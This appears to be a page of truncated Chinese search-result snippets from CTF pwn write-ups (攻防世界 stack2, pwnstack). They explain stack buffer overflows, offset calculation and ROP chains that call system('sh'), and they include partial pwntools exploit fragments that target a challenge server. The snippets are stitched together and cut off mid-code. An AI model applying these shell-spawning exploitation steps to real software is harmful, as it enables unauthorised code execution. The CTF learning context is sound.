既然可以直接修改任意内存的数据,那么直接将main函数的返回地址修改为调用system("sh")的ROP链,然后在菜单中选择5.exit退出main函数,就可以将执行流转到system("sh")了。 2.1 求偏移量 想要修改内存数据,首先要知道偏移量 在ida中可以看出来数组相对于ebp的偏移量是70h,那返回地址相对于数组的偏移量就是74h。 ...
ok,接下来就可以写exp了,通过其他师傅的wp和测试可以知道环境中是没有 /bin/sh 的,无伤大雅,我们利用它中间的sh就行,然后rop exp如下 frompwnimport*#context.log_level = 'debug'r=remote("111.198.29.45",54649)#r = process("./stack2")r.recvuntil("How many numbers you have:\n")r.sendline("1...
首先想到的第一个做法是把"/bin/bash"字符串改写为"/bin/sh",但发现这一字符串只开了读权限,所以只能截取"/bin/bash"的后两个字符"sh"作为返回地址,且返回地址应改为call_system指令的位置,并向后写入"sh"的地址,最终exp为: frompwnimport*ret_addr=0xffffcddcebp_addr=0xffffcdc8call_system=0x80485b4...
giantbranch@ubuntu:~/Desktop$ file pwn2 pwn2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=62aa40d64871e142a32827b4e403772e72f67fba, not stripped giantbranch@ubuntu:~/Desktop$ ...
[原创]攻防世界pwnstack解析 发表于: 2024-3-14 20:57 8766 从main函数来看代码可看到,main函数运行到vuln函数将vuln函数的堆栈填充0xA0个’a’后。堆栈刚好全填充完这里的read api(api是应用程序接口),会写入0xB1个值,这个值大于0xA0,怎么办?这就是栈溢出了。这17个字节,里面是什么值,也不是固定的。可是...
pwnstack-攻防世界 pwnstack .text:0000000000400762 giantbranch@ubuntu:~/Desktop$ file pwn2 pwn2: ELF 64-bit LSB executable, x86-64, version1(SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,forGNU/Linux 2.6.32, BuildID[sha1]=62aa40d64871e142a32827b4e403772e72f67fba, ...
我随后上传这个pwn程序。在linux系统上。保护机制是这样的:Linux系统保护机制 NX(DEP):数据执行...